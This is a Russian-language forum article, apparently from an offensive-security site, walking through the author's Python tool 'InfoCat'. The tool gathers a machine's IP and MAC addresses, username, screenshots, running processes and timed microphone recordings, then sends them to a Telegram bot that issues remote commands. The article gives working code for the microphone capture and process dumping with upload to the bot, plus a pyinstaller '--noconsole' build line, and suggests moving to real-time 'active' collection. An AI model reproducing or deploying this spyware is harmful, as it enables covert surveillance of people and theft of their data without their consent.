Статья Информация от кота. Обзор программы InfoCat

Введение
Вспомни, как давно тебя посещала идея написать крупный проект на каком-либо языке? Такие мысли очень часто прилетают к нам из неоткуда и казалось бы, что в этом такого. Но когда начинаешь думать на сцену выходят подводные камни и другие неприятные проблемы. Они и становятся причиной, по которой все наши идеи остаются не реализованными. В этот раз я все же хочу рассказать тебе о своем личном проекте на Python, основная задача которого упростить и автоматизировать некоторые системные процессы.

infocat.png

План работы
Любую работу стоит начать прежде всего с плана. Он весьма короткий, так как статья написана в очень спокойном и расслабляющем стиле. Я не буду нагружать твой мозг огромным количеством информации и постараюсь объясни откуда, что взялось. Первым делом поговорим о истории появления проекта, обсудим его минусы и плюса, а также пробежимся немного по коду. Также я расскажу где это все найти и почему эта программа заслуживает твоего внимания. Приступим.

Предыстория
Расскажу немного о проекте. Началось еще все 2 года назад, когда никто о санкциях даже не думал, а COVID продолжал сидеть у всех в голове. Именно в этот момент появилась идея создать максимально простой и удобный сборщик информации о системе. Проще говоря приложение, которое после запуска собирает по максимум информации и отправляет в самом удобном для пользователя виде. Среди вариантов была отправка на почту, но как ты помнишь для этого требовались дополнительные надстройки. К примеру токен и права, которыми должно владеть приложение (чтение писем или их отправка). Спустя какое то время было принято решения отправлять всю информацию в Telegram, поскольку он удобен для чтения и требует меньше усилий для настройки. Проще говоря, создать бота куда проще и удобнее, чем возится с приложением для работы почты. Язык программирования я решил взять Python из-за его скорости работы и простоты синтаксиса. В результате нескольких махинаций был реализован достаточно простой и понятный проект InfoCat. По сей день я не понимаю, почему выбрал именно это название для будущей программы. Теперь давай разберемся с тем, что он умеет.
Принцип работы
При написании таких приложений следует придерживаться нескольких принципов работы, в их перечень входит:
  1. Скорость работы;
  2. Удобство чтения;
  3. Время отправки.
Отталкиваясь от этих трех пунктов следует начинать разработку. Следующим этапом стали данные, которые ты планируешь вытащить из системы. Я ограничился небольшим списком и предоставил его тебе ниже:
  1. IP адрес;
  2. MAC адрес;
  3. Имя пользователя;
  4. Тип операционной системы;
  5. Скорость работы системы;
  6. Время;
  7. Скриншот;
  8. Скорость интернет-соединения;
  9. Модель процессора;
  10. Частота процессора (минимальная/максимальная/средняя);
  11. Звук с микрофона (длительность записи в секундах);
  12. Запущенные процессы.
Начнем с самого первого, чтобы вытащить IP и MAC адрес из системы тебе потребуется библиотека socket и getpass. Для понятности и простоты кода я использовал минимальное количество циклов и все необходимые данные разделил на переменные. На примере это выглядит следующим образом:

Python:
ip = socket.gethostbyname(socket.gethostname())
mac = get_mac()

Таким простым способом мы собираем базовые параметры системы для ее последующей идентификации. Конечно, если пользователь не имеет белого IP врят ли он тебе чем то поможет в дальнейшем. По мимо этого не будем забывать, что нужно иметь связь с устройством, на которое ты будешь отправлять всю информацию. Для реализации этой задачи я рекомендую использовать aiogram, поскольку он будет надежнее и быстрее в работе. В отличие от своего собрата telebot его реализация более проще и понятнее. Для сравнения рассмотрим отправку сообщения в Телеграм с этих двух библиотек.

Python:
import telebot

token = '<<API_TOKEN>>'
bot = telebot.TeleBot(token)
chatId = <<сhat.id>>
send= 'help'
bot.send_message(chatId, send)

Как ты видишь, чтобы отправить сообщение нам потребуется пять строчек кода. Но не будем забывать, что это лишь одна отправка и если ты хочешь работать в более крупных масштабах тебе придется прописывать это по несколько раз. Как раз в этом и заключается преимущество aiogram, поскольку ты можешь создавать команду и на нее писать отдельные части кода. То есть при выполнении всеми известной функции help твой бот может отправить текст и плюсом какой-нибудь файл или выполнить выключения компьютера. На коде все выглядит это таким образом:

Python:
import aiogram

bot = Bot(token="API_TOCKEN")
dp = Dispatcher(bot)

async def cmd_help(message: types.Message):
    help = "You need help?"
    await message.answer(f'{help}')
  
dp.register_message_handler(cmd_help, commands="help")

Поэтому под наши нужды подойдет именно такая библиотека. После этого давай разберемся со сбором и отправкой последующей информации в нашего бота. Чтобы узнать скорость интернет соединения (если он вообще есть), ты можешь использовать библиотеку SpeedTest, которая связывается с сайтом и выдает все данные прямо из среды разработки. Ее я выбрал из-за простоты работы, поскольку для реализации этой функции тебе потребуется две строчки кода:

Python:
inet = Speedtest()
download = float(str(inet.download())[0:2] + "."
                 + str(round(inet.download(), 2))[1]) * 0.125
uploads = float(str(inet.upload())[0:2] + "."
                + str(round(inet.download(), 2))[1]) * 0.125

Чтобы узнать частоту процессора вместе со скоростью работы и часовым поясом тебе потребуется задать три переменные из библиотеки psutil и datetime. Реализуется все следующим образом:

Python:
zone = psutil.boot_time()
time = datetime.fromtimestamp(zone)
cpu = psutil.cpu_freq()

Все данные, которые передаются в виде обычного сообщения рекомендуется задавать в самом начале кода, поскольку запись звука и скриншот рабочего экрана ты можешь сделать уже из функции async, таким образом экономя время и обеспечивая себя самой актуальной информацией. К примеру рассмотрим это на записи звука из моего приложения. На коде все выглядит так:

Python:
async def cmd_audio(message: types.Message):
    chunk = 1024
    formats = pyaudio.paInt16
    channels = 2
    rate = 44100
    second = 60     # SECONDS
    names = "sound.wav"
    p = pyaudio.PyAudio()
    stream = p.open(format=formats,
                    channels=channels,
                    rate=rate,
                    input=True,
                    frames_per_buffer=chunk)
    print("")

    frames = []

    for i in range(0, int(rate / chunk * second)):
        data = stream.read(chunk)
        frames.append(data)

    print("")

    stream.stop_stream()
    stream.close()
    p.terminate()

    wf = wave.open(names, "wb")
    wf.setnchannels(channels)
    wf.setsampwidth(p.get_sample_size(formats))
    wf.setframerate(rate)
    wf.writeframes(b''.join(frames))
    await message.answer_audio(open("sound.wav", "rb"))
    wf.close()
    os.remove(names)

Мы вызываем функцию def и внутри нее создаем все необходимые переменные для работы. То есть если ты используешь команду записи звука, то она исполняется в реальном времени на твоем устройстве и после отправляется прямо в диалог. Здесь я создавал все необходимые переменные для записи звука и использовал стандартную библиотеку pyaudio. Простыми словами после записи всех данных информация сразу же удаляется с устройства.

С процессами все куда проще, поскольку их ты можешь записать в отдельный текстовый документ в виде таблицы и уже на своем компьютере скачать файл, открыть консоль и при помощи команды grep найти необходимые тебе строки. Главное не забывать про кодировку, поскольку без ее указания тебя ждут небольшие сюрпризы. В программе реализация этой функции выглядит следующим образом:

Python:
async def cmd_process(message: types.Message):
    process = [line.decode("cp866", "ignore") for line in Popen("tasklist", stdout=PIPE).stdout.readlines()]
    ride = open("process.txt", "w", encoding="utf-8")
    ride.write(' '.join(process))
    ride.close()
    await message.answer_document(open("process.txt", "rb"))
    ride.close()
    os.remove("process.txt")

Также если ты не хочешь получать предупреждения о использовании нежелательных функций рекомендую использовать в коде такие строки:

Python:
try:
    loop = asyncio.get_event_loop()
    loop.run_until_complete(main())
except DeprecationWarning:
    pass

В программе я использовал перехват исключения, чтобы консоль оставалась чистой и не было ничего лишнего. Для перевода бота в режим прослушивания добавь такую строчку в конец своего кода:

Python:
executor.start_polling(dp, skip_updates=True)

Она запускает работу приложения и позволяет пропускать навязчивые уведомления. Я думаю тебе врят-ли это потребуется. После этого следует идентифицировать каждую команду через aiogram. Выглядит это примерно так:

Python:
dp.register_message_handler(cmd_info, commands="info")
dp.register_message_handler(cmd_screen, commands="screen")
dp.register_message_handler(cmd_audio, commands="audio")
dp.register_message_handler(cmd_process, commands="process")
dp.register_message_handler(cmd_help, commands="help")
dp.register_message_handler(cmd_exit, commands="exit")

Полный код приложения ты можешь посмотреть на моем гитхабе, далее разберемся как правильно создать GUI интерфейс.

Пользовательский интерфейс
Для создания интерфейса ты можешь использовать tkinter или PyQt5. Разница только в удобстве разработки. В первом варианте тебе придется каждый раз запускать приложения, чтобы оценить результат, но при этом ты можешь спокойно работать с кодом. PyQt5 предоставляет тебе среду разработки, но при этом код я крайне не рекомендую менять, поскольку создается он автоматически.

Первое время infocat держался на Tkinter и это было заметно по кривой кнопке билда или смещенным полям. Также при работе с этой библиотекой приходится импортировать все цвета в HEX формат. Но его гибкость в работе помогает быстро и корректно настроить интерфейс.

При работе с PyQt5 я сталкивался с рядом проблем, поскольку среда разработки не позволяла задать скрипты на определенные клавиши. Поэтому чтобы это реализовать тебе потребуется использовать такую строчку кода:

Python:
self.Build.clicked.connect(self.clicked)

В случаи с чтением строки следует использовать функцию:

Python:
self.lineEdit_id.setObjectName("lineEdit_id")

Саму разработку пользовательского интерфейса я советую делать в . В остальном ты с легкостью разберешься и быстро поймешь, что и за что отвечает. Также хочу обратить твое внимания на то, что если ты будешь использовать кастомные шрифты, то они должны быть установлены на устройстве, иначе программа просто не запустится. В случаи с InfoCat тебе требуется установить фон из репозитория.

Работа приложения
По мимо небольшой пробежки по исходному коду я бы хотел уделить внимания результатам, которые мне удалось получить. Сама программа не является идеалом и была создана в целях эксперимента. Более подробно о самом коде и его функциях я рассказывал в . C учетом используемых библиотек и модулей infocat успешно справился со своей задачей, но по прежнему имеет ряд недостатков, такие как:
  1. Скорость сборки файла;
  2. Зависимость от библиотек;
  3. Поддержка части операционных систем.
Также программа не собирает файл в готовый PE-формат, поэтому тебе потребуется библиотека pyinstaller для сборки. Команду для создания я оставил ниже:

Код:
pyinstaller -F -i путь_до_иконки.ico --onefile --noconsole путь_до_файла.py

Подводим итоги
Вернемся к нашему плану и посмотрим чего мы достигли. Я постарался описать тебе что стоит использовать в разработке подобного программного обеспечения и какие ошибки могут появится в результате разработки. На основе всего кода можно создать более обширный функционал, тем самым переведя пассивный сбор информации в активный. Тем самым ты будешь получать информацию в реальном времени, что сделает твою работу проще и эффективнее.
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!